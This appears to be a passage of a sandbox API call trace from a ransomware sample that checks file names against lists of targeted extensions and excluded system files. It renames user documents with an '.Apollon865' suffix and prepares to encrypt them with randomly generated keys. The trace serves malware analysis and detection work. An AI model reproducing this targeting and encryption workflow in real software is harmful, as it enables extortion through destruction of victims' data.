	[0089.040] lstrcmpiW (lpString1="ocx", lpString2="fp4") returned 1
	[0089.040] lstrlenW (lpString="fp5") returned 3
	[0089.040] lstrcmpiW (lpString1="ocx", lpString2="fp5") returned 1
	[0089.040] lstrlenW (lpString="fp7") returned 3
	[0089.040] lstrcmpiW (lpString1="ocx", lpString2="fp7") returned 1
	[0089.040] lstrlenW (lpString="fpt") returned 3
	[0089.040] lstrcmpiW (lpString1="ocx", lpString2="fpt") returned 1
	[0089.041] lstrlenW (lpString="frm") returned 3
	[0089.041] lstrcmpiW (lpString1="ocx", lpString2="frm") returned 1
	[0089.041] lstrlenW (lpString="gdb") returned 3
	[0089.041] lstrcmpiW (lpString1="ocx", lpString2="gdb") returned 1
	[0089.041] lstrlenW (lpString="gdb") returned 3
	[0089.041] lstrcmpiW (lpString1="ocx", lpString2="gdb") returned 1
	[0089.041] lstrlenW (lpString="grdb") returned 4
	[0089.041] lstrcmpiW (lpString1="docx", lpString2="grdb") returned -1
	[0089.041] lstrlenW (lpString="gwi") returned 3
	[0089.041] lstrcmpiW (lpString1="ocx", lpString2="gwi") returned 1
	[0089.041] lstrlenW (lpString="hdb") returned 3
	[0089.041] lstrcmpiW (lpString1="ocx", lpString2="hdb") returned 1
	[0089.041] lstrlenW (lpString="his") returned 3
	[0089.041] lstrcmpiW (lpString1="ocx", lpString2="his") returned 1
	[0089.041] lstrlenW (lpString="ib") returned 2
	[0089.041] lstrcmpiW (lpString1="cx", lpString2="ib") returned -1
	[0089.041] lstrlenW (lpString="idb") returned 3
	[0089.041] lstrcmpiW (lpString1="ocx", lpString2="idb") returned 1
	[0089.041] lstrlenW (lpString="ihx") returned 3
	[0089.041] lstrcmpiW (lpString1="ocx", lpString2="ihx") returned 1
	[0089.041] lstrlenW (lpString="itdb") returned 4
	[0089.041] lstrcmpiW (lpString1="docx", lpString2="itdb") returned -1
	[0089.041] lstrlenW (lpString="itw") returned 3
	[0089.041] lstrcmpiW (lpString1="ocx", lpString2="itw") returned 1
	[0089.041] lstrlenW (lpString="jet") returned 3
	[0089.041] lstrcmpiW (lpString1="ocx", lpString2="jet") returned 1
	[0089.041] lstrlenW (lpString="jtx") returned 3
	[0089.041] lstrcmpiW (lpString1="ocx", lpString2="jtx") returned 1
	[0089.041] lstrlenW (lpString="kdb") returned 3
	[0089.041] lstrcmpiW (lpString1="ocx", lpString2="kdb") returned 1
	[0089.041] lstrlenW (lpString="kexi") returned 4
	[0089.041] lstrcmpiW (lpString1="docx", lpString2="kexi") returned -1
	[0089.041] lstrlenW (lpString="kexic") returned 5
	[0089.041] lstrcmpiW (lpString1=".docx", lpString2="kexic") returned -1
	[0089.042] lstrlenW (lpString="kexis") returned 5
	[0089.042] lstrcmpiW (lpString1=".docx", lpString2="kexis") returned -1
	[0089.042] lstrlenW (lpString="lgc") returned 3
	[0089.042] lstrcmpiW (lpString1="ocx", lpString2="lgc") returned 1
	[0089.042] lstrlenW (lpString="lwx") returned 3
	[0089.042] lstrcmpiW (lpString1="ocx", lpString2="lwx") returned 1
	[0089.042] lstrlenW (lpString="maf") returned 3
	[0089.042] lstrcmpiW (lpString1="ocx", lpString2="maf") returned 1
	[0089.042] lstrlenW (lpString="maq") returned 3
	[0089.042] lstrcmpiW (lpString1="ocx", lpString2="maq") returned 1
	[0089.042] lstrlenW (lpString="mar") returned 3
	[0089.042] lstrcmpiW (lpString1="ocx", lpString2="mar") returned 1
	[0089.042] lstrlenW (lpString="marshal") returned 7
	[0089.042] lstrcmpiW (lpString1="EV.docx", lpString2="marshal") returned -1
	[0089.042] lstrlenW (lpString="mas") returned 3
	[0089.042] lstrcmpiW (lpString1="ocx", lpString2="mas") returned 1
	[0089.042] lstrlenW (lpString="mav") returned 3
	[0089.042] lstrcmpiW (lpString1="ocx", lpString2="mav") returned 1
	[0089.042] lstrlenW (lpString="maw") returned 3
	[0089.042] lstrcmpiW (lpString1="ocx", lpString2="maw") returned 1
	[0089.042] lstrlenW (lpString="mdbhtml") returned 7
	[0089.042] lstrcmpiW (lpString1="EV.docx", lpString2="mdbhtml") returned -1
	[0089.042] lstrlenW (lpString="mdn") returned 3
	[0089.042] lstrcmpiW (lpString1="ocx", lpString2="mdn") returned 1
	[0089.042] lstrlenW (lpString="mdt") returned 3
	[0089.042] lstrcmpiW (lpString1="ocx", lpString2="mdt") returned 1
	[0089.042] lstrlenW (lpString="mfd") returned 3
	[0089.042] lstrcmpiW (lpString1="ocx", lpString2="mfd") returned 1
	[0089.042] lstrlenW (lpString="mpd") returned 3
	[0089.042] lstrcmpiW (lpString1="ocx", lpString2="mpd") returned 1
	[0089.042] lstrlenW (lpString="mrg") returned 3
	[0089.042] lstrcmpiW (lpString1="ocx", lpString2="mrg") returned 1
	[0089.042] lstrlenW (lpString="mud") returned 3
	[0089.042] lstrcmpiW (lpString1="ocx", lpString2="mud") returned 1
	[0089.042] lstrlenW (lpString="mwb") returned 3
	[0089.042] lstrcmpiW (lpString1="ocx", lpString2="mwb") returned 1
	[0089.042] lstrlenW (lpString="myd") returned 3
	[0089.042] lstrcmpiW (lpString1="ocx", lpString2="myd") returned 1
	[0089.043] lstrlenW (lpString="ndf") returned 3
	[0089.043] lstrcmpiW (lpString1="ocx", lpString2="ndf") returned 1
	[0089.043] lstrlenW (lpString="nnt") returned 3
	[0089.043] lstrcmpiW (lpString1="ocx", lpString2="nnt") returned 1
	[0089.043] lstrlenW (lpString="nrmlib") returned 6
	[0089.043] lstrcmpiW (lpString1="V.docx", lpString2="nrmlib") returned 1
	[0089.043] lstrlenW (lpString="ns2") returned 3
	[0089.043] lstrcmpiW (lpString1="ocx", lpString2="ns2") returned 1
	[0089.043] lstrlenW (lpString="ns3") returned 3
	[0089.043] lstrcmpiW (lpString1="ocx", lpString2="ns3") returned 1
	[0089.043] lstrlenW (lpString="ns4") returned 3
	[0089.043] lstrcmpiW (lpString1="ocx", lpString2="ns4") returned 1
	[0089.043] lstrlenW (lpString="nsf") returned 3
	[0089.043] lstrcmpiW (lpString1="ocx", lpString2="nsf") returned 1
	[0089.043] lstrlenW (lpString="nv") returned 2
	[0089.043] lstrcmpiW (lpString1="cx", lpString2="nv") returned -1
	[0089.043] lstrlenW (lpString="nv2") returned 3
	[0089.043] lstrcmpiW (lpString1="ocx", lpString2="nv2") returned 1
	[0089.043] lstrlenW (lpString="nwdb") returned 4
	[0089.043] lstrcmpiW (lpString1="docx", lpString2="nwdb") returned -1
	[0089.043] lstrlenW (lpString="nyf") returned 3
	[0089.043] lstrcmpiW (lpString1="ocx", lpString2="nyf") returned 1
	[0089.043] lstrlenW (lpString="odb") returned 3
	[0089.043] lstrcmpiW (lpString1="ocx", lpString2="odb") returned -1
	[0089.043] lstrlenW (lpString="odb") returned 3
	[0089.043] lstrcmpiW (lpString1="ocx", lpString2="odb") returned -1
	[0089.043] lstrlenW (lpString="oqy") returned 3
	[0089.043] lstrcmpiW (lpString1="ocx", lpString2="oqy") returned -1
	[0089.043] lstrlenW (lpString="ora") returned 3
	[0089.043] lstrcmpiW (lpString1="ocx", lpString2="ora") returned -1
	[0089.043] lstrlenW (lpString="orx") returned 3
	[0089.043] lstrcmpiW (lpString1="ocx", lpString2="orx") returned -1
	[0089.043] lstrlenW (lpString="owc") returned 3
	[0089.043] lstrcmpiW (lpString1="ocx", lpString2="owc") returned -1
	[0089.043] lstrlenW (lpString="p96") returned 3
	[0089.043] lstrcmpiW (lpString1="ocx", lpString2="p96") returned -1
	[0089.043] lstrlenW (lpString="p97") returned 3
	[0089.043] lstrcmpiW (lpString1="ocx", lpString2="p97") returned -1
	[0089.044] lstrlenW (lpString="pan") returned 3
	[0089.044] lstrcmpiW (lpString1="ocx", lpString2="pan") returned -1
	[0089.044] lstrlenW (lpString="pdb") returned 3
	[0089.044] lstrcmpiW (lpString1="ocx", lpString2="pdb") returned -1
	[0089.044] lstrlenW (lpString="pdm") returned 3
	[0089.044] lstrcmpiW (lpString1="ocx", lpString2="pdm") returned -1
	[0089.044] lstrlenW (lpString="pnz") returned 3
	[0089.044] lstrcmpiW (lpString1="ocx", lpString2="pnz") returned -1
	[0089.044] lstrlenW (lpString="qry") returned 3
	[0089.044] lstrcmpiW (lpString1="ocx", lpString2="qry") returned -1
	[0089.044] lstrlenW (lpString="qvd") returned 3
	[0089.044] lstrcmpiW (lpString1="ocx", lpString2="qvd") returned -1
	[0089.044] lstrlenW (lpString="rbf") returned 3
	[0089.044] lstrcmpiW (lpString1="ocx", lpString2="rbf") returned -1
	[0089.044] lstrlenW (lpString="rctd") returned 4
	[0089.044] lstrcmpiW (lpString1="docx", lpString2="rctd") returned -1
	[0089.044] lstrlenW (lpString="rod") returned 3
	[0089.044] lstrcmpiW (lpString1="ocx", lpString2="rod") returned -1
	[0089.044] lstrlenW (lpString="rodx") returned 4
	[0089.044] lstrcmpiW (lpString1="docx", lpString2="rodx") returned -1
	[0089.044] lstrlenW (lpString="rpd") returned 3
	[0089.044] lstrcmpiW (lpString1="ocx", lpString2="rpd") returned -1
	[0089.044] lstrlenW (lpString="rsd") returned 3
	[0089.044] lstrcmpiW (lpString1="ocx", lpString2="rsd") returned -1
	[0089.044] lstrlenW (lpString="sas7bdat") returned 8
	[0089.044] lstrcmpiW (lpString1="wEV.docx", lpString2="sas7bdat") returned 1
	[0089.044] lstrlenW (lpString="sbf") returned 3
	[0089.044] lstrcmpiW (lpString1="ocx", lpString2="sbf") returned -1
	[0089.044] lstrlenW (lpString="scx") returned 3
	[0089.044] lstrcmpiW (lpString1="ocx", lpString2="scx") returned -1
	[0089.044] lstrlenW (lpString="sdb") returned 3
	[0089.044] lstrcmpiW (lpString1="ocx", lpString2="sdb") returned -1
	[0089.044] lstrlenW (lpString="sdc") returned 3
	[0089.044] lstrcmpiW (lpString1="ocx", lpString2="sdc") returned -1
	[0089.044] lstrlenW (lpString="sdf") returned 3
	[0089.044] lstrcmpiW (lpString1="ocx", lpString2="sdf") returned -1
	[0089.044] lstrlenW (lpString="sis") returned 3
	[0089.044] lstrcmpiW (lpString1="ocx", lpString2="sis") returned -1
	[0089.045] lstrlenW (lpString="spq") returned 3
	[0089.045] lstrcmpiW (lpString1="ocx", lpString2="spq") returned -1
	[0089.045] lstrlenW (lpString="te") returned 2
	[0089.045] lstrcmpiW (lpString1="cx", lpString2="te") returned -1
	[0089.045] lstrlenW (lpString="teacher") returned 7
	[0089.045] lstrcmpiW (lpString1="EV.docx", lpString2="teacher") returned -1
	[0089.045] lstrlenW (lpString="tmd") returned 3
	[0089.045] lstrcmpiW (lpString1="ocx", lpString2="tmd") returned -1
	[0089.045] lstrlenW (lpString="tps") returned 3
	[0089.045] lstrcmpiW (lpString1="ocx", lpString2="tps") returned -1
	[0089.045] lstrlenW (lpString="trc") returned 3
	[0089.045] lstrcmpiW (lpString1="ocx", lpString2="trc") returned -1
	[0089.045] lstrlenW (lpString="trc") returned 3
	[0089.045] lstrcmpiW (lpString1="ocx", lpString2="trc") returned -1
	[0089.045] lstrlenW (lpString="trm") returned 3
	[0089.045] lstrcmpiW (lpString1="ocx", lpString2="trm") returned -1
	[0089.045] lstrlenW (lpString="udb") returned 3
	[0089.045] lstrcmpiW (lpString1="ocx", lpString2="udb") returned -1
	[0089.045] lstrlenW (lpString="udl") returned 3
	[0089.045] lstrcmpiW (lpString1="ocx", lpString2="udl") returned -1
	[0089.045] lstrlenW (lpString="usr") returned 3
	[0089.045] lstrcmpiW (lpString1="ocx", lpString2="usr") returned -1
	[0089.045] lstrlenW (lpString="v12") returned 3
	[0089.045] lstrcmpiW (lpString1="ocx", lpString2="v12") returned -1
	[0089.045] lstrlenW (lpString="vis") returned 3
	[0089.045] lstrcmpiW (lpString1="ocx", lpString2="vis") returned -1
	[0089.045] lstrlenW (lpString="vpd") returned 3
	[0089.045] lstrcmpiW (lpString1="ocx", lpString2="vpd") returned -1
	[0089.045] lstrlenW (lpString="vvv") returned 3
	[0089.045] lstrcmpiW (lpString1="ocx", lpString2="vvv") returned -1
	[0089.045] lstrlenW (lpString="wdb") returned 3
	[0089.045] lstrcmpiW (lpString1="ocx", lpString2="wdb") returned -1
	[0089.045] lstrlenW (lpString="wmdb") returned 4
	[0089.046] lstrcmpiW (lpString1="docx", lpString2="wmdb") returned -1
	[0089.046] lstrlenW (lpString="wrk") returned 3
	[0089.046] lstrcmpiW (lpString1="ocx", lpString2="wrk") returned -1
	[0089.046] lstrlenW (lpString="xdb") returned 3
	[0089.046] lstrcmpiW (lpString1="ocx", lpString2="xdb") returned -1
	[0089.046] lstrlenW (lpString="xld") returned 3
	[0089.046] lstrcmpiW (lpString1="ocx", lpString2="xld") returned -1
	[0089.046] lstrlenW (lpString="xmlff") returned 5
	[0089.046] lstrcmpiW (lpString1=".docx", lpString2="xmlff") returned -1
	[0089.046] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\aqIwEV.docx.Apollon865") returned 62
	[0089.046] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\aqIwEV.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\aqiwev.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\aqIwEV.docx.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\aqiwev.docx.apollon865"), dwFlags=0x1) returned 1
	[0089.047] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\aqIwEV.docx.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\aqiwev.docx.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0089.048] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=101322) returned 1
	[0089.048] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0089.048] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0089.048] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0089.048] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0089.049] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0089.049] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0089.049] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18ed0, lpName=0x0) returned 0x15c
	[0089.049] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18ed0) returned 0x120000
	[0089.053] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0089.054] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0089.054] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0089.054] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0089.054] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0089.054] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0089.054] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0089.054] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0089.054] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0089.054] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0089.054] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0089.054] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0089.054] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0089.054] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0089.055] CloseHandle (hObject=0x15c) returned 1
	[0089.055] CloseHandle (hObject=0x9c) returned 1
	[0089.056] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0089.056] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0089.057] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0089.057] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7de02400, ftCreationTime.dwHighDateTime=0x1d51f00, ftLastAccessTime.dwLowDateTime=0xc0b2f70, ftLastAccessTime.dwHighDateTime=0x1d4ea06, ftLastWriteTime.dwLowDateTime=0xc0b2f70, ftLastWriteTime.dwHighDateTime=0x1d4ea06, nFileSizeHigh=0x0, nFileSizeLow=0xbfe3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AXN5p.docx", cAlternateFileName="AXN5P~1.DOC")) returned 1
	[0089.057] lstrcmpiW (lpString1="AXN5p.docx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0089.057] lstrcmpiW (lpString1="AXN5p.docx", lpString2="Apollon865.txt.exe") returned 1
	[0089.057] lstrcmpiW (lpString1="AXN5p.docx", lpString2=".") returned 1
	[0089.057] lstrcmpiW (lpString1="AXN5p.docx", lpString2="..") returned 1
	[0089.057] lstrcmpiW (lpString1="AXN5p.docx", lpString2="windows") returned -1
	[0089.057] lstrcmpiW (lpString1="AXN5p.docx", lpString2="bootmgr") returned -1
	[0089.057] lstrcmpiW (lpString1="AXN5p.docx", lpString2="temp") returned -1
	[0089.057] lstrcmpiW (lpString1="AXN5p.docx", lpString2="pagefile.sys") returned -1
	[0089.057] lstrcmpiW (lpString1="AXN5p.docx", lpString2="boot") returned -1
	[0089.057] lstrcmpiW (lpString1="AXN5p.docx", lpString2="ids.txt") returned -1
	[0089.058] lstrcmpiW (lpString1="AXN5p.docx", lpString2="ntuser.dat") returned -1
	[0089.058] lstrcmpiW (lpString1="AXN5p.docx", lpString2="perflogs") returned -1
	[0089.058] lstrcmpiW (lpString1="AXN5p.docx", lpString2="MSBuild") returned -1
	[0089.058] lstrlenW (lpString="AXN5p.docx") returned 10
	[0089.058] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\aqIwEV.docx") returned 51
	[0089.058] lstrcpyW (in: lpString1=0x119e658, lpString2="AXN5p.docx" | out: lpString1="AXN5p.docx") returned="AXN5p.docx"
	[0089.058] lstrlenW (lpString="AXN5p.docx") returned 10
	[0089.058] lstrlenW (lpString="Apollon865") returned 10
	[0089.058] lstrlenW (lpString=".dll") returned 4
	[0089.058] lstrcmpiW (lpString1="AXN5p.docx", lpString2=".dll") returned 1
	[0089.058] lstrlenW (lpString=".lnk") returned 4
	[0089.058] lstrcmpiW (lpString1="AXN5p.docx", lpString2=".lnk") returned 1
	[0089.058] lstrlenW (lpString=".ini") returned 4
	[0089.058] lstrcmpiW (lpString1="AXN5p.docx", lpString2=".ini") returned 1
	[0089.058] lstrlenW (lpString=".sys") returned 4
	[0089.058] lstrcmpiW (lpString1="AXN5p.docx", lpString2=".sys") returned 1
	[0089.058] lstrlenW (lpString="AXN5p.docx") returned 10
	[0089.058] lstrlenW (lpString="bak") returned 3
	[0089.058] lstrcmpiW (lpString1="ocx", lpString2="bak") returned 1
	[0089.058] lstrlenW (lpString="ba_") returned 3
	[0089.058] lstrcmpiW (lpString1="ocx", lpString2="ba_") returned 1
	[0089.058] lstrlenW (lpString="dbb") returned 3
	[0089.058] lstrcmpiW (lpString1="ocx", lpString2="dbb") returned 1
	[0089.058] lstrlenW (lpString="vmdk") returned 4
	[0089.058] lstrcmpiW (lpString1="docx", lpString2="vmdk") returned -1
	[0089.058] lstrlenW (lpString="rar") returned 3
	[0089.058] lstrcmpiW (lpString1="ocx", lpString2="rar") returned -1
	[0089.058] lstrlenW (lpString="zip") returned 3
	[0089.058] lstrcmpiW (lpString1="ocx", lpString2="zip") returned -1
	[0089.058] lstrlenW (lpString="tgz") returned 3
	[0089.058] lstrcmpiW (lpString1="ocx", lpString2="tgz") returned -1
	[0089.058] lstrlenW (lpString="vbox") returned 4
	[0089.058] lstrcmpiW (lpString1="docx", lpString2="vbox") returned -1
	[0089.058] lstrlenW (lpString="vdi") returned 3
	[0089.058] lstrcmpiW (lpString1="ocx", lpString2="vdi") returned -1
	[0089.058] lstrlenW (lpString="vhd") returned 3
	[0089.058] lstrcmpiW (lpString1="ocx", lpString2="vhd") returned -1
	[0089.058] lstrlenW (lpString="vhdx") returned 4
	[0089.059] lstrcmpiW (lpString1="docx", lpString2="vhdx") returned -1
	[0089.059] lstrlenW (lpString="avhd") returned 4
	[0089.059] lstrcmpiW (lpString1="docx", lpString2="avhd") returned 1
	[0089.059] lstrlenW (lpString="db") returned 2
	[0089.059] lstrcmpiW (lpString1="cx", lpString2="db") returned -1
	[0089.059] lstrlenW (lpString="db2") returned 3
	[0089.059] lstrcmpiW (lpString1="ocx", lpString2="db2") returned 1
	[0089.059] lstrlenW (lpString="db3") returned 3
	[0089.059] lstrcmpiW (lpString1="ocx", lpString2="db3") returned 1
	[0089.059] lstrlenW (lpString="dbf") returned 3
	[0089.059] lstrcmpiW (lpString1="ocx", lpString2="dbf") returned 1
	[0089.059] lstrlenW (lpString="mdf") returned 3
	[0089.059] lstrcmpiW (lpString1="ocx", lpString2="mdf") returned 1
	[0089.059] lstrlenW (lpString="mdb") returned 3
	[0089.059] lstrcmpiW (lpString1="ocx", lpString2="mdb") returned 1
	[0089.059] lstrlenW (lpString="sql") returned 3
	[0089.059] lstrcmpiW (lpString1="ocx", lpString2="sql") returned -1
	[0089.059] lstrlenW (lpString="sqlite") returned 6
	[0089.059] lstrcmpiW (lpString1="p.docx", lpString2="sqlite") returned -1
	[0089.059] lstrlenW (lpString="sqlite3") returned 7
	[0089.059] lstrcmpiW (lpString1="5p.docx", lpString2="sqlite3") returned -1
	[0089.059] lstrlenW (lpString="sqlitedb") returned 8
	[0089.059] lstrcmpiW (lpString1="N5p.docx", lpString2="sqlitedb") returned -1
	[0089.059] lstrlenW (lpString="xml") returned 3
	[0089.059] lstrcmpiW (lpString1="ocx", lpString2="xml") returned -1
	[0089.059] lstrlenW (lpString="$er") returned 3
	[0089.059] lstrcmpiW (lpString1="ocx", lpString2="$er") returned 1
	[0089.059] lstrlenW (lpString="4dd") returned 3
	[0089.059] lstrcmpiW (lpString1="ocx", lpString2="4dd") returned 1
	[0089.059] lstrlenW (lpString="4dl") returned 3
	[0089.059] lstrcmpiW (lpString1="ocx", lpString2="4dl") returned 1
	[0089.059] lstrlenW (lpString="^^^") returned 3
	[0089.059] lstrcmpiW (lpString1="ocx", lpString2="^^^") returned 1
	[0089.059] lstrlenW (lpString="abs") returned 3
	[0089.059] lstrcmpiW (lpString1="ocx", lpString2="abs") returned 1
	[0089.059] lstrlenW (lpString="abx") returned 3
	[0089.059] lstrcmpiW (lpString1="ocx", lpString2="abx") returned 1
	[0089.059] lstrlenW (lpString="accdb") returned 5
	[0089.060] lstrcmpiW (lpString1=".docx", lpString2="accdb") returned -1
	[0089.060] lstrlenW (lpString="accdc") returned 5
	[0089.060] lstrcmpiW (lpString1=".docx", lpString2="accdc") returned -1
	[0089.060] lstrlenW (lpString="accde") returned 5
	[0089.060] lstrcmpiW (lpString1=".docx", lpString2="accde") returned -1
	[0089.060] lstrlenW (lpString="accdr") returned 5
	[0089.060] lstrcmpiW (lpString1=".docx", lpString2="accdr") returned -1
	[0089.060] lstrlenW (lpString="accdt") returned 5
	[0089.060] lstrcmpiW (lpString1=".docx", lpString2="accdt") returned -1
	[0089.060] lstrlenW (lpString="accdw") returned 5
	[0089.060] lstrcmpiW (lpString1=".docx", lpString2="accdw") returned -1
	[0089.060] lstrlenW (lpString="accft") returned 5
	[0089.060] lstrcmpiW (lpString1=".docx", lpString2="accft") returned -1
	[0089.060] lstrlenW (lpString="adb") returned 3
	[0089.060] lstrcmpiW (lpString1="ocx", lpString2="adb") returned 1
	[0089.060] lstrlenW (lpString="adb") returned 3
	[0089.060] lstrcmpiW (lpString1="ocx", lpString2="adb") returned 1
	[0089.060] lstrlenW (lpString="ade") returned 3
	[0089.060] lstrcmpiW (lpString1="ocx", lpString2="ade") returned 1
	[0089.060] lstrlenW (lpString="adf") returned 3
	[0089.060] lstrcmpiW (lpString1="ocx", lpString2="adf") returned 1
	[0089.060] lstrlenW (lpString="adn") returned 3
	[0089.060] lstrcmpiW (lpString1="ocx", lpString2="adn") returned 1
	[0089.060] lstrlenW (lpString="adp") returned 3
	[0089.060] lstrcmpiW (lpString1="ocx", lpString2="adp") returned 1
	[0089.060] lstrlenW (lpString="alf") returned 3
	[0089.060] lstrcmpiW (lpString1="ocx", lpString2="alf") returned 1
	[0089.060] lstrlenW (lpString="ask") returned 3
	[0089.060] lstrcmpiW (lpString1="ocx", lpString2="ask") returned 1
	[0089.060] lstrlenW (lpString="btr") returned 3
	[0089.060] lstrcmpiW (lpString1="ocx", lpString2="btr") returned 1
	[0089.060] lstrlenW (lpString="cat") returned 3
	[0089.060] lstrcmpiW (lpString1="ocx", lpString2="cat") returned 1
	[0089.060] lstrlenW (lpString="cdb") returned 3
	[0089.060] lstrcmpiW (lpString1="ocx", lpString2="cdb") returned 1
	[0089.060] lstrlenW (lpString="ckp") returned 3
	[0089.060] lstrcmpiW (lpString1="ocx", lpString2="ckp") returned 1
	[0089.061] lstrlenW (lpString="cma") returned 3
	[0089.061] lstrcmpiW (lpString1="ocx", lpString2="cma") returned 1
	[0089.061] lstrlenW (lpString="cpd") returned 3
	[0089.061] lstrcmpiW (lpString1="ocx", lpString2="cpd") returned 1
	[0089.061] lstrlenW (lpString="dacpac") returned 6
	[0089.061] lstrcmpiW (lpString1="p.docx", lpString2="dacpac") returned 1
	[0089.061] lstrlenW (lpString="dad") returned 3
	[0089.061] lstrcmpiW (lpString1="ocx", lpString2="dad") returned 1
	[0089.061] lstrlenW (lpString="dadiagrams") returned 10
	[0089.061] lstrlenW (lpString="daschema") returned 8
	[0089.061] lstrcmpiW (lpString1="N5p.docx", lpString2="daschema") returned 1
	[0089.061] lstrlenW (lpString="db-journal") returned 10
	[0089.061] lstrlenW (lpString="db-shm") returned 6
	[0089.061] lstrcmpiW (lpString1="p.docx", lpString2="db-shm") returned 1
	[0089.061] lstrlenW (lpString="db-wal") returned 6
	[0089.061] lstrcmpiW (lpString1="p.docx", lpString2="db-wal") returned 1
	[0089.061] lstrlenW (lpString="dbc") returned 3
	[0089.061] lstrcmpiW (lpString1="ocx", lpString2="dbc") returned 1
	[0089.061] lstrlenW (lpString="dbs") returned 3
	[0089.061] lstrcmpiW (lpString1="ocx", lpString2="dbs") returned 1
	[0089.061] lstrlenW (lpString="dbt") returned 3
	[0089.061] lstrcmpiW (lpString1="ocx", lpString2="dbt") returned 1
	[0089.061] lstrlenW (lpString="dbv") returned 3
	[0089.061] lstrcmpiW (lpString1="ocx", lpString2="dbv") returned 1
	[0089.061] lstrlenW (lpString="dbx") returned 3
	[0089.061] lstrcmpiW (lpString1="ocx", lpString2="dbx") returned 1
	[0089.061] lstrlenW (lpString="dcb") returned 3
	[0089.061] lstrcmpiW (lpString1="ocx", lpString2="dcb") returned 1
	[0089.062] lstrcmpiW (lpString1="ocx", lpString2="dct") returned 1
	[0089.062] lstrcmpiW (lpString1="ocx", lpString2="dcx") returned 1
	[0089.062] lstrcmpiW (lpString1="ocx", lpString2="ddl") returned 1
	[0089.062] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\AXN5p.docx.Apollon865") returned 61
	[0089.062] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\AXN5p.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\axn5p.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\AXN5p.docx.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\axn5p.docx.apollon865"), dwFlags=0x1) returned 1
	[0089.064] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\AXN5p.docx.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\axn5p.docx.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
